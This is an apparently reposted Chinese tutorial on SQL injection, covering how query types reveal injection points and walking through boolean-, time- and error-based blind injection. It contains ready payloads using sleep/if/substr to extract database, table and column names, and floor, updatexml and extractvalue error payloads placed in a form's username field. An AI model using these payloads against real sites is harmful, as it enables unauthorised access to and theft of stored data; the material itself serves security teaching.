WBE漏洞-SQL注入之报错盲注
WBE漏洞-SQL注入之查詢方式及報(bào)錯(cuò)盲注
- 前言
- 涉及知識點(diǎn)
- SQL注入報(bào)錯(cuò)盲注
- 基于布爾的SQL盲注-邏輯判斷
- 基于時(shí)間的SQL盲注-延時(shí)判斷
- 基于報(bào)錯(cuò)的SQL盲注-報(bào)錯(cuò)回顯
- floor
- updatexml
- extractvalue
前言
當(dāng)進(jìn)行SQL注入時(shí),有很多注入會出現(xiàn)無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導(dǎo)致,這個(gè)時(shí)候我們需要用到相關(guān)的報(bào)錯(cuò)或盲注進(jìn)行后續(xù)操作,同時(shí)作為手工注入時(shí),提前了解或預(yù)知其SQL語句大概寫法也能更好地選擇對應(yīng)的注入語句。
涉及知識點(diǎn)
select 查詢數(shù)據(jù)
在網(wǎng)站應(yīng)用中進(jìn)行數(shù)據(jù)顯示查詢效果
例: select * from news wher id=$id
insert 插入數(shù)據(jù)
在網(wǎng)站應(yīng)用中進(jìn)行用戶注冊添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)
delete 刪除數(shù)據(jù)
后臺管理里面刪除文章刪除用戶等操作
例:delete from news where id=$id
update 更新數(shù)據(jù)
會員或后臺中心數(shù)據(jù)同步或緩存等操作
例:update user set pwd=’$p’ where id=2 and username=‘a(chǎn)dmin’
order by 排列數(shù)據(jù)
一般結(jié)合表名或列名進(jìn)行數(shù)據(jù)排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
重點(diǎn)理解:
我們可以通過以上查詢方式與網(wǎng)站應(yīng)用的關(guān)系去猜測注入點(diǎn)產(chǎn)生地方或應(yīng)用猜測到對方的SQL查詢方式。
新知識點(diǎn):
xpath報(bào)錯(cuò)注入(extractvalue和updatexml)
floor()知識
like ‘ro%’ #判斷ro或ro…是否成立
like ‘ro_’ #判斷ro+一個(gè)字符是否成立
regexp ‘[1-z]’ #匹配xiaodi及xiaodi…等
MySQL REGEXP:正則表達(dá)式查詢
if(條件,5,0) #條件成立,返回5,反之,返回0
sleep(5) #SQL語句延時(shí)執(zhí)行5秒
mid(a,b,c) #從位置B開始,截取a字符串的c位,c可選,默認(rèn)剩下
substr(a,b,c) #從位置B開始,截取a字符串的c位
left(database(),1) #left(a,b)從左側(cè)截取a的前b位
length(database())=8 #判斷數(shù)據(jù)庫database()名的長度ascii(x)=97 #判斷x的ascii碼是否等于97
SQL注入報(bào)錯(cuò)盲注
盲注就是在注入過程中,獲取的數(shù)據(jù)不能回顯至前端頁面。此時(shí),我們需要利用一些方法進(jìn)行半段或者嘗試,這個(gè)過程稱之為盲注。我們可以知道盲注分為以下三類:
基于布爾的SQL盲注-邏輯判斷
(不需要回顯信息就能看到)(2)
regexp,like,ascii或ord,left,,mid
基于時(shí)間的SQL盲注-延時(shí)判斷
(不需要回顯信息就能看到)(3)
通過延遲進(jìn)而加載頁面判斷猜想是否正確
sleep()延時(shí)函數(shù)
if(a,b,c)條件判斷函數(shù)
注入步驟
先用length(database())判斷當(dāng)前數(shù)據(jù)庫長度
可以用bp進(jìn)行參數(shù)爆破
猜數(shù)據(jù)庫名字
select if(database() like 'p%',sleep(5),0) from member limit 0,1;
要加limit 0,1噢,不能的話他會一個(gè)個(gè)數(shù)據(jù)去比對的
或用substr函數(shù)
select if(substr(database(),1,1)='p',sleep(5),0) from member limit 0,1;
再加個(gè)ascii函數(shù),因?yàn)楣ぞ叩谋┝ζ平獾膮?shù)都是基于數(shù)據(jù)的,所以用數(shù)字來判斷會好些
注意,可以用二分法進(jìn)行比對,利用>符號判斷ascii,大于的話說明比112大,范圍在112-255之間,小于的話說明比112小,范圍在0-112之間
找數(shù)據(jù)庫名字的第二個(gè)字符
以此類推,找出數(shù)據(jù)庫完整名字
找表
select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(5),0) from member limit 0,1;
更改substr(1,1)為substr(1,2)繼續(xù)找第一個(gè)數(shù)據(jù)表名字的第二個(gè)字符
更改limit 0,1為limit1,1繼續(xù)找第二個(gè)數(shù)據(jù)庫表
屬性列
select if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(5),0) from member limit 0,1;其實(shí)以上手工是很難注入的,因?yàn)榍闆r實(shí)在是太多了,可以進(jìn)行半手動半工具進(jìn)行爆破,也可以直接使用sqlmap工具進(jìn)行爆破
and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+
if,sleep
基于報(bào)錯(cuò)的SQL盲注-報(bào)錯(cuò)回顯
(優(yōu)先于選擇:1)
floor
1
username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit2
username=x' and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit有可能會出現(xiàn)如下錯(cuò)誤可用第二種payload
Truncated incorrect DOUBLE value: 'x'核心payload
select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x)a需更換地方只有database(),其他為固定格式
逐一拆解代碼
臨時(shí)表a
select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))b from information_schema.tables group by x注意:select(concat0x7e,database(),0x7e)將返回的消息用~標(biāo)注,方便查看,也是為了開發(fā)工具能夠一下識別出來,直接select database()也是可以的
updatexml
username=x ’ or updatexml(1,concat(0x7e,(version())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
extractvalue
username=x ’ or extractvalue(1,concat(0x7e,database())),0) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
總結(jié)
以上是生活随笔為你收集整理的WBE漏洞-SQL注入之报错盲注的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux poll
- 下一篇: SQL数据库笔试选择题(知识点总结)